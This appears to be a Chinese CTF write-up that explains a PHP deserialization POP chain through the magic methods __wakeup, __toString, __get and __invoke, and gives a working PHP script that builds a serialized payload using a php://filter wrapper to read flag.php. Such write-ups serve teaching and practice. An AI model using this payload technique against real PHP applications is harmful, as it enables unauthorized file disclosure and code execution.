〇、预备知识点
1、PHP序列化与反序列化的魔术方法及其调用
2、php://filter读取文本
一、初看题目
拿到题目,分析PHP代码可以发现:
1、我们可以通过pop变量这个反序列化的地方来进行利用。
2、我们需要用Modifier函数来include一下flag.php
3、再利用Show函数输出
有了这些大概的思路,我们可以知道这是个利用pop链来实现拿到flag的操作。
二、pop链的具体流程
1、反序列化会调用__wakeup函数
我们可以发现__wakeup里面的source变量我们可以控制。
如果source是一个字符串的话,会直接在preg_match中进行比较,如果是一个类,则会去找这个类里面的__toString函数
所以将source指向一个新的Show类
$source=new Show
2、分析__toString函数
这个地方是取str代表的类(前面所指向的新的Show类)中的source所代表的值
这个时候会自动调用__get方法
3、__get函数
这个时候返回的是p所对应的类的一个函数。
将类当做一个函数进行调用的时候会调用__invoke函数
4、__invoke函数
整体下来看就是
1、首先反序列化调用__wakeup()方法
2、令source=new Show() 后 __wakeup()会调用__toString()
3、令$str=new Test()就会调用__get()方法
4、令p=new Modifier()就会调用__invoke(),然后命令执行
三、构造payload函数
<?php
class Modifier {
protected $var='php://filter/read=convert.base64-encode/resource=flag.php';
}
class Show{
public $source;
public $str;
public function __construct(){
$this->str=new Test();
}
}
class Test{
public $p;
public function __construct(){
$this->p =new Modifier(); }
}
$a=new Show();
$b=new Show();
$b->str="";
$b->source=$a;
$b=serialize($b);
print($b);
print("\n");
print(urlencode($b));
最后得到一串base64加密的字符
最后解密即可。
Comments | NOTHING